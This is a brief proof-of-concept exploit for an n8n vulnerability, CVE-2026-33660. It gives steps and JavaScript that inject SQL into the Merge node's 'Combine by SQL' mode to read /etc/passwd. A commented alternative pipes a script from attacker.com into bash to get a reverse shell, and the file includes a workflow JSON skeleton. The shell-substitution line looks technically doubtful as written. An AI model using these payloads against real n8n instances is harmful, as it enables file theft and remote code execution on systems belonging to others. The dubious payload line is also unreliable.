CVE-2026-33660 n8n 远程代码执行漏洞

// PoC for CVE-2026-33660 // Description: Exploit the Merge Node's "Combine by SQL" mode to read local files. // Step 1: Create a workflow in n8n with a Merge node. // Step 2: Configure the Merge node to use "Combine by SQL" mode. // Step 3: Inject the following SQL statement into the SQL input field. // Malicious SQL to read /etc/passwd const payload = "SELECT * FROM CSV('/etc/passwd')"; // Alternatively, if JavaScript execution is possible via AlaSQL sandbox escape: // const payload = "SELECT * FROM TXT('$(curl http://attacker.com/rev.sh | bash)')"; // Example API payload structure /* { "nodes": [ { "parameters": { "mode": "combineBySql", "sql": payload }, "name": "Merge", "type": "n8n-nodes-base.merge", "typeVersion": 2.1, "position": [250, 300] } ] } */ console.log(`Execute workflow with SQL: ${payload}`);